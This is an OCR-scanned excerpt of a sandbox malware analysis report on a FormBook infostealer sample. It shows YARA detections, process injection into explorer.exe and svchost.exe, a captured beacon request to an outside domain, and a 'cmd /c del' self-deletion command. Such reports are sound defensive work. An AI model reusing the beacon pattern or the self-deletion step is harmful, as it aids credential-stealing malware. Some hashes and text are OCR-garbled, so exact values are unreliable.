74612068 74 7470 2d 65 71 75 69 76 3d 22 70 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68
65 22 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 69 66 72 61 6d 65 20 73 74 79 6¢ 65 3d 22 74 6f 70 3a 30 70 78 3b 6¢
65 66 74 3a 30 70 78 3b 20 77 69 64 74 68 3a 31 30 30 25 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 70 6f 73 69 74
69 6f 6e 3a 61 62 73 6f 6¢ 75 74 65 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6¢ 6C 69 6€ 67 3d
22617574 6f2220 737263 3d 226874747073 3a2f2f77 7777 2e 79 6f75 72 68 6f 73 74 69 6e 67 2e 6e 6¢ 2f 70
61 72 6b 65 65 72 70 61 67 69 6e 61 2e 68 74 6d 6¢ 22 3e 3¢ 2f 69 66 72 61 6d 65 3e 3c 2f 62 6f 64 79 3e 3¢ 2f 68 74 6d
6c 3e 0d Oa 30 0d Oa Od Oa

Data Ascii: 15f<!IDOCTYPE html><htmI><head><title>Deze domeinnaam is geregistreerd door een klant van Yourhosti
ng.nl</tite><meta http-equiv="pragma" content="no-cache"></head><body><iframe style="top:0px;left:0px; width:100%;
height:100%; position:absolute" frameborder="0" scrolling="auto" src="https://www.yourhosting.nl/parkeerpagina.html">
</iframe></body></htmI|>0

Destination IP Destination Port Process

198.54.117.215 80 C:\Windows\explorer.exe

Data

GET /xzes/?YTspi8IX=hsby6OIEBt/ghsMVYLSyJdZ7YeDc2IclgsMuos52TKAPvq+RR5iGDOsuf8zypfzdpc18&MnaP7J=3fjT
HZDPJpAt HTTP/1.1

Host: www.theravewizards.com

Connection: close

Data Raw: 00 00 00 00 00 00 00

Data Ascii:
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Code Manipulations

Statistics

Behavior

g

Click to jump to process

System Behavior

Analysis Process: DWG.exe PID: 6272 Parent PID: 3672

General
Start time: 07:39:06
Start date: 28/10/2021
Path: C:\Users\user\Desktop\DWG.exe
Wow64 process (32bit): true
Commandline: ‘C:\Users\user\Desktop\DWG.exe'
Imagebase: 0x400000
File size: 626688 bytes
MD5 hash: FF882802D113ED02FA070C496F89D797
Has elevated privileges: true
Has administrator privileges: true
Programmed in: C, C++ or other language
Yara matches: e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000000.00000002.330081826.00000000007A6000.00000004.00000020.sdmp, Author:
Joe Security
e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000000.00000002.330081826.00000000007A6000.00000004.00000020.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com
e Rule: Formbook, Description: detect Formbook in memory, Source:
00000000.00000002.330081826.00000000007A6000.00000004.00000020.sdmp, Author:
JPCERT/CC Incident Response Group
Reputation: low
File Activities Show Windows behavior
File Created
File Written

Analysis Process: DWG.exe PID: 6240 Parent PID: 6272

General

Start time: 07:39:25

Start date: 28/10/2021

Path: C:\Users\user\Desktop\DWG.exe
Wow64 process (32bit): true

Commandline:

Copyright Joe Security LLC 2021

C:\Users\user\Desktop\DWG.exe
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Imagebase: 0x400000

File size: 626688 bytes

MDS5 hash: FF882802D113ED02FA070C496F89D797
Has elevated privileges: true

Has administrator privileges: true

Programmed in:

Yara matches:

C, C++ or other language

.

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000005.00000000.329088160.0000000000401000.00000020.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000005.00000000.329088160.0000000000401000.00000020.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000005.00000000.329088160.0000000000401000.00000020.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000005.00000002.378660694.0000000000401000.00000020.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000005.00000002.378660694.0000000000401000.00000020.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000005.00000002.378660694.0000000000401000.00000020.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000005.00000002.378750031.00000000005C0000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
00000005.00000002.378750031.00000000005C0000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000005.00000002.378750031.00000000005C0000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000005.00000002.378700564.0000000000430000.00000040.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000005.00000002.378700564.0000000000430000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000005.00000002.378700564.0000000000430000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000005.00000000.329372667.0000000000401000.00000020.00020000.sdmp, Author:
Joe Security

Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000005.00000000.329372667.0000000000401000.00000020.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

Rule: Formbook, Description: detect Formbook in memory, Source:
00000005.00000000.329372667.0000000000401000.00000020.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: low
File Activities Show Windows behavior
File Read
Analysis Process: explorer.exe PID: 3352 Parent PID: 6240

General

Start time: 07:39:27

Start date: 28/10/2021

Path: C:\Windows\explorer.exe

Wow64 process (32bit):

Commandline:

false

C:\Windows\Explorer.EXE

Imagebase: 0x7ff720ea0000

File size: 3933184 hytes

MD5 hash: AD5296B280E8F522A8A897C96BABOELD
Has elevated privileges: false

Has administrator privileges: false

Programmed in:

Copyright Joe Security LLC 2021

C, C++ or other language
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Yara matches:

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000006.00000000.348602608.000000000792F000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000006.00000000.348602608.000000000792F000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000006.00000000.348602608.000000000792F000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
00000006.00000000.363695053.000000000792F000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source: 00000006.00000000.363695053.000000000792F000.00000040.00020000.sdmp,
Author: Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
00000006.00000000.363695053.000000000792F000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

Reputation: high
File Activities Show Windows behavior
Analysis Process: svchost.exe PID: 6564 Parent PID: 3352

General

Start time: 07:39:46

Start date: 28/10/2021

Path: C:\Windows\SysWOW64\svchost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Yara matches:

Reputation:

File Activities

File Read

Copyright Joe Security LLC 2021

true

C:\Windows\SysWOW64\svchost.exe
0x280000

44520 bytes
FA6C268A5B5BDA067A901764D203D433
false

false

C, C++ or other language

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000A.00000002.556950950.0000000002F10000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000A.00000002.556950950.0000000002F10000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000A.00000002.556950950.0000000002F10000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000A.00000002.556210414.0000000000A00000.00000004.00000001.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000A.00000002.556210414.0000000000A00000.00000004.00000001.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000A.00000002.556210414.0000000000A00000.00000004.00000001.sdmp, Author:
JPCERT/CC Incident Response Group

e Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source:
0000000A.00000002.556634388.0000000002E10000.00000040.00020000.sdmp, Author:
Joe Security

e Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator,
Source:
0000000A.00000002.556634388.0000000002E10000.00000040.00020000.sdmp, Author:
Felix Bilstein - yara-signator at cocacoding dot com

e Rule: Formbook, Description: detect Formbook in memory, Source:
0000000A.00000002.556634388.0000000002E10000.00000040.00020000.sdmp, Author:
JPCERT/CC Incident Response Group

high

Show Windows behavior
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Analysis Process: cmd.exe PID: 6584 Parent PID: 6564

General

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MD5 hash:

Has elevated privileges:
Has administrator privileges:

Programmed in:

07:39:50

28/10/2021
C:\Windows\SysWOW64\cmd.exe

true

/c del 'C:\Users\user\Desktop\DWG.exe'
0xd80000

232960 bytes
F3BDBE3BB6F734E357235F4D5898582D
false

false

C, C++ or other language

Reputation: high
File Activities Show Windows behavior
Analysis Process: conhost.exe PID: 6604 Parent PID: 6584

General

Start time: 07:39:51

Start date: 28/10/2021

Path: C:\Windows\System32\conhost.exe

Wow64 process (32bit):
Commandline:

Imagebase:

File size:

MDS5 hash:

Has elevated privileges:
Has administrator privileges:
Programmed in:

Reputation:

Disassembly

Code Analysis

Copyright Joe Security LLC

Copyright Joe Security LLC 2021

false

C:\Windows\system32\conhost.exe Oxffffffff -ForceV1
0x7ff7f20f0000

625664 bytes
EA777DEEA782E8B4D7C7C33BBF8A4496

false

false

C, C++ or other language

high

Joe Sandbox Cloud Basic 33.0.0 White Diamond
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